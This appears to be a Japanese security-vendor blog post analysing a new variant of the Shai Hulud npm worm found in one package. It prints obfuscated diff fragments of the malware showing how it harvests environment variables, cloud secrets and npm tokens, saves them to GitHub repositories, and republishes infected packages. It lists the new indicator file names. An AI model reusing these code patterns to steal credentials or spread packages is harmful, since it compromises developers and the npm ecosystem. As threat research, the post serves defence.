Aikido

Shai Huludが再び攻撃 - ゴールデンパス

執筆者
Charlie Eriksen

30分前、npmにパッケージとしてアップロードされたShai Huludの新しい系統の最初のインスタンスと思われるものを検出しました。 @vietmoney/react-big-calendar :

https://www.npmjs.com/package/@vietmoney/react-big-calendar

これには、Shai Huludの新しい系統が含まれています。現時点では、大規模な拡散や感染は確認されていません。これは、攻撃者がペイロードをテストしている最中に捕捉した可能性を示唆しています。コードの違いから、これは元のソースから再度難読化されたものであり、その場で変更されたものではないことが示唆されます。このため、模倣犯である可能性は非常に低く、ワームのオリジナルソースコードにアクセスできた人物によって作成されたものと考えられます。

ここでは、新しい変更点について記録します。

新しい変更点は?

彼らは間違いを犯しました

脅威アクターがコードにバグを混入させたことを確認しました。彼らはファイル名を変更しましたが、間違いを犯しました。

201424,201425c201387,201388
<           let _0x79fc7c = "https://raw.githubusercontent.com/" + _0x44d2dc + '/' + _0x946d5 + "/main/contents.json";
<           let _0x13d2d2 = await fetch(_0x79fc7c, {
---
>           let _0x20e4ac = "https://raw.githubusercontent.com/" + _0x168165 + '/' + _0x6e4ad4 + "/main/c0nt3nts.json";
>           let _0x34b06b = await fetch(_0x20e4ac, {
210001,210009c209956,209968
...
>   let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
...

最初のケースでは、ファイルを取得しようとしていることに注目してください c0nt3nts.json、しかし実際にはファイルを保存しています。 c9nt3nts.json. おっと!

ファイル構造

このShai Huludの新しい系統には、いくつかの変更点があります。

  • 初期ファイルは現在、次のように呼ばれています。 bun_installer.js
  • メインペイロードは次のように呼ばれています。 environment_source.js

新しいGitHubリポジトリの説明

GitHubへのデータ漏洩時、リポジトリに以下の説明を付与するようになりました「Goldox-T3chs: オンリー・ハッピー・ガール」。

201406,201407c201369,201370
<       let _0x49fcc3 = await this.octokit.rest.search.repos({
<         'q': "\"Sha1-Hulud: The Second Coming.\"",
---
>       let _0xa94c36 = await this.octokit.rest.search.repos({
>         'q': "\"Goldox-T3chs: Only Happy Girl.\"",

新たに漏洩したファイル名

  • 3nvir0nm3nt.json
  • cl0vd.json
  • c9nt3nts.json
  • pigS3cr3ts.json
  • actionsSecrets.json

デッドマンスイッチの廃止

デッドマンスイッチがなくなったようです。これは良いニュースです。

TruffleHogのエラーハンドリングを改善

TruffleHogがタイムアウトした場合のエラーハンドリングが改善されました。

209658,209659c209621,209623
<       let _0x2b320d = setTimeout(() => {
<         _0x51292c.kill();
---
>       let _0x28178f = setTimeout(() => {
>         _0x8a1d5e.kill();
>         _0x15b267(Error("Trufflehog execution timed out after " + this.config.timeout + 'ms'));

バージョン依存のパッケージ公開

以前のバージョンでは、 bun を呼び出して感染させたパッケージを公開しようとしていましたが、これはWindowsでは動作しませんでした。現在はそれに対応しています。

209511,209514c209474,209477
<       }, ['package']);
<       let _0x3b13f2 = "bun";
<       if (a0_0x647ad2.platform() === "win32") {
<         _0x3b13f2 = "bun.exe";
---
>       }, ["package"]);
>       let _0x4a8bac = "bun";
>       if (a0_0x3a4d5e.platform() === 'win32') {
>         _0x4a8bac = "bun.exe";
209516c209479
<       await Bun.$`npm publish ${_0x4fc35c}`.env({
---
>       await Bun.$`${_0x4a8bac} publish ${_0x21c5dd}`.env({

シークレットの収集順序

データの収集と保存の順序に、微妙ながらも重要な違いがあり、これは意図的な変更を示唆しています。以前のバージョンでは「contents」ファイルを最初に保存していましたが、現在は最後に保存している点に注目してください。

209986,209990c209945
<   let _0x5bb75d = {
<     'environment': process.env
<   };
<   let _0x6e06c0 = _0x1b7dd4.saveContents("contents.json", JSON.stringify(_0x5735a8), "Add file");
<   let _0x3e4549 = {
---
>   let _0xa50f9e = {
209992c209947
<       'secrets': await _0x30fddc.runSecrets()
---
>       'secrets': await _0x511a7b.runSecrets()
209995c209950
<       'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
---
>       'secrets': await _0x2efcec.listAndRetrieveAllSecrets()
209998c209953
<       'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
---
>       'secrets': await _0x390843.listAndRetrieveAllSecrets()
210001,210009c209956,209968
<   let _0x3adc69 = _0x1b7dd4.saveContents("environment.json", JSON.stringify(_0x5bb75d), "Add file");
<   let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
<   let _0xe09164 = await El(_0x4692e0);
<   if (_0x11ccd2 && _0x345f28) {
<     let _0x4012fb = await _0x345f28;
<     if (!_0xe09164.npmTokenValid) {
<       for (let _0x5998e5 of _0x4012fb) if (typeof _0x5998e5 === "object" && _0x5998e5 !== null && !Array.isArray(_0x5998e5)) {
<         for (let [_0x11c4f3, _0x402786] of Object.entries(_0x5998e5)) if (typeof _0x402786 === "string" && _0x402786.startsWith("npm_")) {
<           if (!(await El(_0x402786)).npmTokenValid) {
---
>   let _0x5801a8 = {
>     'environment': process.env
>   };
>   let _0x1c3489 = _0x43e355.saveContents("3nvir0nm3nt.json", JSON.stringify(_0x5801a8), "Add file");
>   let _0x383025 = _0x43e355.saveContents("cl0vd.json", JSON.stringify(_0xa50f9e), "Add file");
>   let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
>   let _0x5a8131 = await El(_0x587238);
>   if (_0x582c1c && _0x218a2b) {
>     let _0x2eb280 = await _0x218a2b;
>     if (!_0x5a8131.npmTokenValid) {
>       for (let _0x66a856 of _0x2eb280) if (typeof _0x66a856 === "object" && _0x66a856 !== null && !Array.isArray(_0x66a856)) {
>         for (let [_0x8baf81, _0x5cea54] of Object.entries(_0x66a856)) if (typeof _0x5cea54 === 'string' && _0x5cea54.startsWith("npm_")) {
>           if (!(await El(_0x5cea54)).npmTokenValid) {

これは進行中の話です。続報にご期待ください。

共有:

https://www.aikido.dev/blog/shai-hulud-strikes-again---the-golden-path

脅威ニュースをサブスクライブ

今日から無料で始めましょう。

無料で始める
CC不要

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。